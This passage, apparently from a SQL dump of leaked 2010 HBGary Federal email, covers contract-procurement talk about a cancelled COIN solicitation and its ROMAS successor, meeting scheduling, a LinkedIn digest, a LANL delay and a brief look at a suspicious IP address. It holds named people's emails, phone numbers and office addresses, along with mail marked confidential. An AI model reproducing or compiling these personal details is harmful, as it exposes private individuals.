AT&amp;T\r\n\r\nFrom:  \"Megan Speicher\" &lt;mspeicher@telemussolutions.com&gt; \r\nDate: Wed, 4 Aug 2010 16:13:30 -0400\r\nTo: George Page&lt;gpage@telemussolutions.com&gt;; Larry Carr&lt;lcarr@telemussolutions.com&gt;; Clayborne Holmes&lt;cholmes@telemussolutions.com&gt;\r\nSubject: COIN Update\r\nGentlemen,\r\n&nbsp;\r\nI have confirmed the IDIQ procurement known as COIN is still cancelled due to lack of requirements . One requirement which was to be included as part of COIN will be released as a standalone RFP in FY 11. The requirement will be briefed at industry day as ROMAS (not sure of the spelling). \r\n&nbsp;\r\nMegan \r\n&nbsp;\r\n\r\n\r\nRaytheon Telemus Inc Confidential &amp; Proprietary Statement: This email and any attachments are confidential and may be legally privileged. &nbsp;If you are not the intended recipient, or believe that you have received this communication in error, please do not read, print, copy, retransmit, disseminate, or otherwise use the information. &nbsp;Please delete this email and any attachments, without reading, printing, copying, forwarding or saving them and notify the sender immediately by reply e-mail. &nbsp;No confidentiality or privilege is waived or lost by any transmission in error. &nbsp;Raytheon Telemus Inc and its affiliates reserve the right to monitor all e-mail communications through its networks. &nbsp;Thank you.\r\n\r\n\r\n------ End of Forwarded Message\r\n\r\n\r\n\r\n\r\n&lt;Mail Attachment.gif&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3236,'aaron_hbgary_com/3236.html'),(9751,'2010-08-05','tjriesen@archimedesglobal.com','/aaron@hbgary.com/new/1297007664.M437413P14101Q4606.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: COIN Update','Roger. From:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 4 Aug 2010 22:21:36 -0400To: &lt;tjriesen@archimedesglobal.com&gt;Cc: Christopher Clair&lt;christopher.clair@tasc.com&gt;Subject: Re: COIN UpdateI would reference the COIN Market Survey and looming RFP but heard there was a potential change to an RFP called ROMAS and see what he give you.AaronOn Aug 4, 2010, at 10:20 PM, tjriesen@archimedesglobal.com wrote:Ok - I\'ll drop him a note.  Best to refer to it as COIN or ROMAS now?  From:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 4 Aug 2010 22:18:47 -0400To: &lt;tjriesen@archimedesglobal.com&gt;Cc: Chris Clair&lt;CHRISTOPHER.CLAIR@tasc.com&gt;Subject: Re: COIN UpdateCouldn\'t hurt to get as many data points as possible. &nbsp;We do as well, mostly Ted. &nbsp;Rich is a good guy.AaronOn Aug 4, 2010, at 10:16 PM, tjriesen@archimedesglobal.com wrote:Thanks.  I have a good relationship with Rich Hall and could reach out to him if that would be helpful.  From:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 4 Aug 2010 22:15:03 -0400To: Tim Riesen&lt;tjriesen@archimedesglobal.com&gt;Cc: Christopher Clair&lt;christopher.clair@tasc.com&gt;Subject: Re: COIN UpdateIt is true the original COIN was cancelled due to lack of requirements from other customers. &nbsp;Again I will check with customer on Monday when I see them.An interesting note, ROMAS (right spelling) is a name I gave internally to NG for our work for this customer. &nbsp;ROMAS is the name of a middle eastern spider. &nbsp;;) &nbsp;I thought I was pretty clever. &nbsp;I am glad they are going to continue to use the name.Also Ted called Rich Hall who is the current CO and confirmed their was an RFP to drop in Sept. &nbsp;Then I went in a few weeks ago and got an updated to August...so not sure where the mix up is. &nbsp;If anyone is to know it is Rich, MaryBeth, and John.AaronOn Aug 4, 2010, at 9:38 PM, Tim Riesen wrote:\r\nGentlemen – see below. &nbsp;Is this consistent with your knowledge of the situation? &nbsp;\r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n------ Forwarded Message\r\nFrom: Larry Carr &lt;lcarr@telemussolutions.com&gt;\r\nReply-To: Larry Carr &lt;lcarr@telemussolutions.com&gt;\r\nDate: Thu, 5 Aug 2010 01:22:43 +0000\r\nTo: Tim Riesen &lt;tjriesen@archimedesglobal.com&gt;\r\nSubject: Fw: COIN Update\r\n\r\nThis is from the Customer Contracting Officer. How does this track with your / TASC intel?LAC\r\n\r\nSent via BlackBerry by AT&amp;T\r\n\r\nFrom:  \"Megan Speicher\" &lt;mspeicher@telemussolutions.com&gt; \r\nDate: Wed, 4 Aug 2010 16:13:30 -0400\r\nTo: George Page&lt;gpage@telemussolutions.com&gt;; Larry Carr&lt;lcarr@telemussolutions.com&gt;; Clayborne Holmes&lt;cholmes@telemussolutions.com&gt;\r\nSubject: COIN Update\r\nGentlemen,\r\n&nbsp;\r\nI have confirmed the IDIQ procurement known as COIN is still cancelled due to lack of requirements . One requirement which was to be included as part of COIN will be released as a standalone RFP in FY 11. The requirement will be briefed at industry day as ROMAS (not sure of the spelling). \r\n&nbsp;\r\nMegan \r\n&nbsp;\r\n\r\n\r\nRaytheon Telemus Inc Confidential &amp; Proprietary Statement: This email and any attachments are confidential and may be legally privileged. &nbsp;If you are not the intended recipient, or believe that you have received this communication in error, please do not read, print, copy, retransmit, disseminate, or otherwise use the information. &nbsp;Please delete this email and any attachments, without reading, printing, copying, forwarding or saving them and notify the sender immediately by reply e-mail. &nbsp;No confidentiality or privilege is waived or lost by any transmission in error. &nbsp;Raytheon Telemus Inc and its affiliates reserve the right to monitor all e-mail communications through its networks. &nbsp;Thank you.\r\n\r\n\r\n------ End of Forwarded Message\r\n\r\n\r\n\r\n\r\n&lt;Mail Attachment.gif&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',5302,'aaron_hbgary_com/5302.html'),(9752,'2010-08-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007664.M644074P14101Q4607.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: COIN Update','Begin forwarded message:From: tjriesen@archimedesglobal.comDate: August 4, 2010 10:22:07 PM EDTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Cc: \"Christopher Clair\" &lt;christopher.clair@tasc.com&gt;Subject: Re: COIN UpdateReply-To: tjriesen@archimedesglobal.comRoger. From:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 4 Aug 2010 22:21:36 -0400To: &lt;tjriesen@archimedesglobal.com&gt;Cc: Christopher Clair&lt;christopher.clair@tasc.com&gt;Subject: Re: COIN UpdateI would reference the COIN Market Survey and looming RFP but heard there was a potential change to an RFP called ROMAS and see what he give you.AaronOn Aug 4, 2010, at 10:20 PM, tjriesen@archimedesglobal.com wrote:Ok - I\'ll drop him a note.  Best to refer to it as COIN or ROMAS now?  From:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 4 Aug 2010 22:18:47 -0400To: &lt;tjriesen@archimedesglobal.com&gt;Cc: Chris Clair&lt;CHRISTOPHER.CLAIR@tasc.com&gt;Subject: Re: COIN UpdateCouldn\'t hurt to get as many data points as possible. &nbsp;We do as well, mostly Ted. &nbsp;Rich is a good guy.AaronOn Aug 4, 2010, at 10:16 PM, tjriesen@archimedesglobal.com wrote:Thanks.  I have a good relationship with Rich Hall and could reach out to him if that would be helpful.  From:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 4 Aug 2010 22:15:03 -0400To: Tim Riesen&lt;tjriesen@archimedesglobal.com&gt;Cc: Christopher Clair&lt;christopher.clair@tasc.com&gt;Subject: Re: COIN UpdateIt is true the original COIN was cancelled due to lack of requirements from other customers. &nbsp;Again I will check with customer on Monday when I see them.An interesting note, ROMAS (right spelling) is a name I gave internally to NG for our work for this customer. &nbsp;ROMAS is the name of a middle eastern spider. &nbsp;;) &nbsp;I thought I was pretty clever. &nbsp;I am glad they are going to continue to use the name.Also Ted called Rich Hall who is the current CO and confirmed their was an RFP to drop in Sept. &nbsp;Then I went in a few weeks ago and got an updated to August...so not sure where the mix up is. &nbsp;If anyone is to know it is Rich, MaryBeth, and John.AaronOn Aug 4, 2010, at 9:38 PM, Tim Riesen wrote:\r\nGentlemen – see below. &nbsp;Is this consistent with your knowledge of the situation? &nbsp;\r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n------ Forwarded Message\r\nFrom: Larry Carr &lt;lcarr@telemussolutions.com&gt;\r\nReply-To: Larry Carr &lt;lcarr@telemussolutions.com&gt;\r\nDate: Thu, 5 Aug 2010 01:22:43 +0000\r\nTo: Tim Riesen &lt;tjriesen@archimedesglobal.com&gt;\r\nSubject: Fw: COIN Update\r\n\r\nThis is from the Customer Contracting Officer. How does this track with your / TASC intel?LAC\r\n\r\nSent via BlackBerry by AT&amp;T\r\n\r\nFrom:  \"Megan Speicher\" &lt;mspeicher@telemussolutions.com&gt; \r\nDate: Wed, 4 Aug 2010 16:13:30 -0400\r\nTo: George Page&lt;gpage@telemussolutions.com&gt;; Larry Carr&lt;lcarr@telemussolutions.com&gt;; Clayborne Holmes&lt;cholmes@telemussolutions.com&gt;\r\nSubject: COIN Update\r\nGentlemen,\r\n&nbsp;\r\nI have confirmed the IDIQ procurement known as COIN is still cancelled due to lack of requirements . One requirement which was to be included as part of COIN will be released as a standalone RFP in FY 11. The requirement will be briefed at industry day as ROMAS (not sure of the spelling). \r\n&nbsp;\r\nMegan \r\n&nbsp;\r\n\r\n\r\nRaytheon Telemus Inc Confidential &amp; Proprietary Statement: This email and any attachments are confidential and may be legally privileged. &nbsp;If you are not the intended recipient, or believe that you have received this communication in error, please do not read, print, copy, retransmit, disseminate, or otherwise use the information. &nbsp;Please delete this email and any attachments, without reading, printing, copying, forwarding or saving them and notify the sender immediately by reply e-mail. &nbsp;No confidentiality or privilege is waived or lost by any transmission in error. &nbsp;Raytheon Telemus Inc and its affiliates reserve the right to monitor all e-mail communications through its networks. &nbsp;Thank you.\r\n\r\n\r\n------ End of Forwarded Message\r\n\r\n\r\n\r\n\r\n&lt;Mail Attachment.gif&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6135,'aaron_hbgary_com/6135.html'),(9753,'2010-08-05','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297007664.M908862P14101Q4608.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 8/04/2010','\r\n\r\n  \r\n\r\n  \r\n    \r\n      LinkedIn Network Updates\r\n      Jul 28 - Aug 4\r\n    \r\n    \r\n      FEATURED UPDATES\r\n      See more updates &#187;\r\n    \r\n    \r\n      \r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n                   JD Kathuria has an updated profile (Interests)\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                    Mark Leary has an updated current title: CISO at TASC\r\n                  Send note &#187;\r\n            \r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                    Mark Leary has an updated current title: CISO at TASC\r\n                  Send note &#187;\r\n            \r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Brian Girardi\r\nis now connected to\r\n            Tom Kellermann\r\n             and \r\n            Steve Piper\r\n             \r\n              \r\n            \r\n            \r\n              \r\n\r\n  Michael Schell\r\n    is now connected to\r\n        Rick Moy\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    POSTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Michael Toth\r\nRT @aaronbarr: Social Networking Dominates Our Time Spent Online [STATS] http://bit.ly/asES8w      \r\n      Add a comment\r\n      \r\n        \r\n        \r\n        \r\nSocial Networking Dominates Our Time Spent Online [STATS]          \r\n          Social networking now eats up twice as much of our online time as any other activity. According to new stats from Nielsen, sites like Facebook and Twitter now\r\n        \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Michael Toth\r\nIf 29000 people online can help scientists discover interstellar particles, what could they do with manuscript images? http://nyti.ms/c8FyYE      \r\n      Add a comment\r\n      \r\n        \r\n        \r\n        \r\nThe New York Times &gt; Log In         \r\n           \r\n        \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Michael Schell\r\nGo UCSD! Not bad for a public institution......      \r\n      Add a comment\r\n      \r\n        \r\n        \r\n        \r\nUCSD named one of top 25 research schools         \r\n          UC San Diego has been ranked the 22nd best research university in the country, a standing that places the campus ahead of such well-known schools as Princeton, Caltech and the University of Chicago.\r\n        \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n    \r\n  \r\n\r\n    \r\n    GROUPS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    Mary Sullivan has joined\r\n    Security Information and Event Management (SIEM)\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Irving Lachow has joined\r\n    NDU iCollege\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Pulkit Kapila has joined\r\n    CIO Forum\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    RECOMMENDATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    Greg Hoglund recommends\r\ncolleague      Riley Hassell\r\n          Senior Engineer at HBGary Inc.\r\n        Riley is an excellent reverse engineer and vulnerability researcher.  Riley has an uncanny ability t...\r\n        Read more\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Rodrigo Antao recommends\r\nbusiness partner      Eduardo Alves, PMP\r\n          Security Analyst at Tim Brasil\r\n        Eduardo is a professional that understands very quickly the business environment around him. Joining...\r\n        Read more\r\n              \r\n            \r\n            \r\n              \r\n\r\n      Rodrigo Antao was recommended by\r\nbusiness partner      Eduardo Alves, PMP\r\n        Rodrigo is one of the most respected professionals in Digital Forensics and computer fraud in Brazil...\r\n        Read more\r\n              \r\n            \r\n    \r\n  \r\n\r\n      \r\n    \r\n    \r\n        \r\n        See more updates &#187;\r\n      \r\n    \r\n    \r\n      \r\n\r\n\r\n\r\n  \r\n    \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2010, LinkedIn Corporation\r\n    \r\n  \r\n      \r\n    \r\n  \r\n  \r\n',12999,'aaron_hbgary_com/12999.html'),(9754,'2010-08-05','\"Briggs, Dana M\" <Dana.Briggs@ManTech.com>','/aaron@hbgary.com/new/1297007665.M303337P14101Q4610.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting with Bill','Great; see you next week.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 04, 2010 6:29 PM\r\nTo: Briggs, Dana M\r\nSubject: Re: Meeting with Bill\r\n\r\nI do thanks.\r\n\r\nOn Aug 4, 2010, at 2:50 PM, Briggs, Dana M wrote:\r\n\r\n> Got it.  Do you remember how to get here or shall I send you\r\ndirections?\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, August 04, 2010 2:48 PM\r\n> To: Briggs, Dana M\r\n> Subject: Re: Meeting with Bill\r\n> \r\n> Just me.\r\n> \r\n> On Aug 4, 2010, at 2:45 PM, Briggs, Dana M wrote:\r\n> \r\n>> Sure thing.  Will you be bringing anyone else?  I just need a\r\n> headcount\r\n>> so I know if I need to book a Conference Room.  \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Wednesday, August 04, 2010 2:36 PM\r\n>> To: Briggs, Dana M\r\n>> Subject: Re: Meeting with Bill\r\n>> \r\n>> How about 11am on 8/11.\r\n>> \r\n>> Aaron\r\n>> \r\n>> On Aug 4, 2010, at 2:19 PM, Briggs, Dana M wrote:\r\n>> \r\n>>> Hi Aaron,\r\n>>> \r\n>>> Bill is available the following times next week for a one hour\r\n> meeting\r\n>>> here in his Herndon office:\r\n>>> \r\n>>> Wed. 8/11 \r\n>>> 11am \r\n>>> 2pm or after\r\n>>> \r\n>>> Thurs. 8/12\r\n>>> 2pm or after\r\n>>> \r\n>>> Let me know if any of those times work for you and I will send you\r\nan\r\n>>> appointment through Outlook. \r\n>>> \r\n>>> Thank you,\r\n>>> \r\n>>> Dana M. Briggs\r\n>>> Executive Assistant to\r\n>>> L. William Varner, President\r\n>>> Mission, Cyber & Technology Solutions Group\r\n>>> ManTech International Corporation\r\n>>> 2250 Corporate Park Drive, Suite 500\r\n>>> Herndon, VA 20171 \r\n>>> (703) 674-2626 - phone\r\n>>> (571) 485-2362 - e-fax\r\n>>> Dana.Briggs@ManTech.com\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>> Sent: Wednesday, August 04, 2010 8:51 AM\r\n>>> To: Briggs, Dana M\r\n>>> Subject: Meeting with Bill\r\n>>> \r\n>>> Hi Dana,\r\n>>> \r\n>>> I spoke with Bill yesterday about getting together to discuss some\r\n>>> business opportunities.  Could you find an open spot in his\r\ncalendar?\r\n>>> \r\n>>> Thanks,\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',1524,'aaron_hbgary_com/1524.html'),(9755,'2010-08-05','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297007665.M527545P14101Q4611.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Invitation: TSA ITSSS Opportunity @ Thu Aug 5 3:30pm - 4:30pm 	(jfanguy@digitalmanagement.com)','',7933,'aaron_hbgary_com/7933.html'),(9756,'2010-08-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007665.M737437P14101Q4612.eml','\"Rich Cummings\" <rich@hbgary.com>','Don\'t get this','OK so take a look at one of the IPs. &nbsp;Part of theplanet.com netblock.\r\n \r\n \r\n\r\n  174.133.57.140\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis is what is hosted on that IP &nbsp;http://www.robtex.com/ip/174.133.57.140.htmlThere are 18 URLs hosted on this IP all either not registered or regsitered to someone in China. &nbsp;The first set that look like derivatives of the others say on this list they are hosted on US servers on theplanet.com. &nbsp;Domaintools says this domain is not registered, but serverinsiders shows it hosted in China on CHINANET. &nbsp;Weird. &nbsp;How does that happen so quickly. &nbsp;DYNDNS?\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11805,'aaron_hbgary_com/11805.html'),(9757,'2010-08-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007665.M949402P14101Q4613.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','TMC','We need to turn the TMC into something like this (and more) otherwise its not worth it I don\'t think.  Anubis does the same thing, so does CWSandbox (although takes a lot longer to get results online).  Download malware from malware domain lists and try it out.\r\n\r\nhttp://x.maldb.com/\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',1263,'aaron_hbgary_com/1263.html'),(9758,'2010-08-05','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297007665.M99536P14101Q4609.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','JoliCloud 1.0 OS Is Here To Make Your Netbook Usable','http://gizmodo.com/5604568/jolicloud-10-os-is-here-to-make-your-netbook-usable\r\n\r\nGotta try it out... Toughbooks? \r\n',4413,'aaron_hbgary_com/4413.html'),(9759,'2010-08-05','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297007666.M165934P14101Q4614.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Don\'t get this','Yep dyndns can change the listings every 5 minutes..\r\n\r\nOn 8/5/10, Aaron Barr  wrote:\r\n> OK so take a look at one of the IPs.  Part of theplanet.com netblock.\r\n> 174.133.57.140\r\n>\r\n> This is what is hosted on that IP\r\n> http://www.robtex.com/ip/174.133.57.140.html\r\n> There are 18 URLs hosted on this IP all either not registered or regsitered\r\n> to someone in China.  The first set that look like derivatives of the others\r\n> say on this list they are hosted on US servers on theplanet.com.\r\n> Domaintools says this domain is not registered, but serverinsiders shows it\r\n> hosted in China on CHINANET.  Weird.  How does that happen so quickly.\r\n> DYNDNS?\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n\r\n-- \r\nSent from my mobile device\r\n',4251,'aaron_hbgary_com/4251.html'),(9760,'2010-08-05','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297007666.M375936P14101Q4615.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Don\'t get this','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDoing it now.  I called matt at qinetiq and left a message. I’m emailing\r\nhim now, will keep you posted.\r\n\r\n \r\n\r\nRC\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, August 05, 2010 8:35 AM\r\nTo: Rich Cummings\r\nSubject: Don&#39;t get this\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nOK so take a look at one of the IPs.  Part of theplanet.com netblock.\r\n\r\n\r\n \r\n  \r\n  174.133.57.140\r\n  \r\n \r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThis is what is hosted on that IP  http://www.robtex.com/ip/174.133.57.140.html\r\n\r\n\r\n\r\n\r\n\r\nThere are 18 URLs hosted on this IP all either not\r\nregistered or regsitered to someone in China.  The first set that look\r\nlike derivatives of the others say on this list they are hosted on US servers\r\non theplanet.com.  Domaintools says\r\nthis domain is not registered, but serverinsiders shows it hosted in China on\r\nCHINANET.  Weird.  How does that happen so quickly.  DYNDNS?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n',2902,'aaron_hbgary_com/2902.html'),(9761,'2010-08-05','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297007666.M583725P14101Q4616.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Please call me when you have a second.','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Anglin, Matthew [mailto:Matthew.Anglin@QinetiQ-NA.com]\r\n\r\nSent: Thursday, August 05, 2010 9:31 AM\r\nTo: rich@hbgary.com\r\nSubject: Re: Please call me when you have a second.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nWill\r\ndo. Maybe within the hour or sooner. No batteries, charging currently but I am\r\non the road. \r\nThis email was sent by blackberry. Please excuse any errors. \r\n\r\nMatt Anglin \r\nInformation Security Principal \r\nOffice of the CSO \r\nQinetiQ North America \r\n7918 Jones Branch Drive \r\nMcLean, VA 22102 \r\n703-967-2862 cell\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rich Cummings\r\n&lt;rich@hbgary.com&gt; \r\nTo: Anglin, Matthew \r\nSent: Thu Aug 05 09:26:10 2010\r\nSubject: Please call me when you have a second. \r\n\r\nI have an idea to bounce of you.\r\n\r\n \r\n\r\nThanks,\r\n\r\nRich\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1875,'aaron_hbgary_com/1875.html'),(9762,'2010-08-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007670.M626257P14101Q4617.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: Don\'t get this','ok so still working on some of the IPs but here is what I have so far.  FIrst two tabs.\r\n\r\n\r\n\r\nOn Aug 5, 2010, at 9:25 AM, Rich Cummings wrote:\r\n\r\n> Doing it now.  I called matt at qinetiq and left a message. I’m emailing him now, will keep you posted.\r\n>  \r\n> RC\r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, August 05, 2010 8:35 AM\r\n> To: Rich Cummings\r\n> Subject: Don\'t get this\r\n>  \r\n> OK so take a look at one of the IPs.  Part of theplanet.com netblock.\r\n> 174.133.57.140\r\n>  \r\n> This is what is hosted on that IP  http://www.robtex.com/ip/174.133.57.140.html\r\n> There are 18 URLs hosted on this IP all either not registered or regsitered to someone in China.  The first set that look like derivatives of the others say on this list they are hosted on US servers on theplanet.com.  Domaintools says this domain is not registered, but serverinsiders shows it hosted in China on CHINANET.  Weird.  How does that happen so quickly.  DYNDNS?\r\n>  \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',10359,'aaron_hbgary_com/10359.html'),(9763,'2010-08-05','\"Jerry McClure\" <Jerry.McClure@agilex.com>','/aaron@hbgary.com/new/1297007671.M384048P14101Q4618.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ira Entis\" <Ira.Entis@agilex.com>,\"Aaron Barr\" <aaron@hbgary.com>','LANL Delay','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThere appears to be some delay with LANL as we work out the\r\nsecurity language risk.&nbsp; LANL asked if there was some flexibility in your\r\nschedule to push the start to August 15th or maybe even the week\r\nafter&nbsp; What do you say?\r\n\r\n&nbsp;\r\n\r\nJerry\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5146,'aaron_hbgary_com/5146.html'),(9764,'2010-08-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007671.M651218P14101Q4619.eml','\"Jerry McClure\" <Jerry.McClure@agilex.com>,\"Jerry McClure\" <Jerry.McClure@agilex.com>,','Re: LANL Delay','We can accommodate. &nbsp;As long as we have about a week or so heads up to make sure we can clear schedules for the activity.AaronOn Aug 5, 2010, at 10:00 AM, Jerry McClure wrote:Aaron,&nbsp;There appears to be some delay with LANL as we work out the security language risk.&nbsp; LANL asked if there was some flexibility in your schedule to push the start to August 15th&nbsp;or maybe even the week after&nbsp; What do you say?&nbsp;Jerry\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6832,'aaron_hbgary_com/6832.html'),(9765,'2010-08-05','\"Jerry McClure\" <Jerry.McClure@agilex.com>','/aaron@hbgary.com/new/1297007671.M847326P14101Q4620.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: LANL Delay','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks.&nbsp; Will keep you posted.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, August 05, 2010 10:03 AM\r\nTo: Jerry McClure\r\nCc: Ira Entis; Ted Vera\r\nSubject: Re: LANL Delay\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWe can accommodate. &nbsp;As long as we have about a week or\r\nso heads up to make sure we can clear schedules for the activity.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 5, 2010, at 10:00 AM, Jerry McClure wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThere appears to be some delay with LANL as we work out the\r\nsecurity language risk.&nbsp; LANL asked if there was some flexibility in your\r\nschedule to push the start to August 15th&nbsp;or maybe even the week after&nbsp;\r\nWhat do you say?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJerry\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron 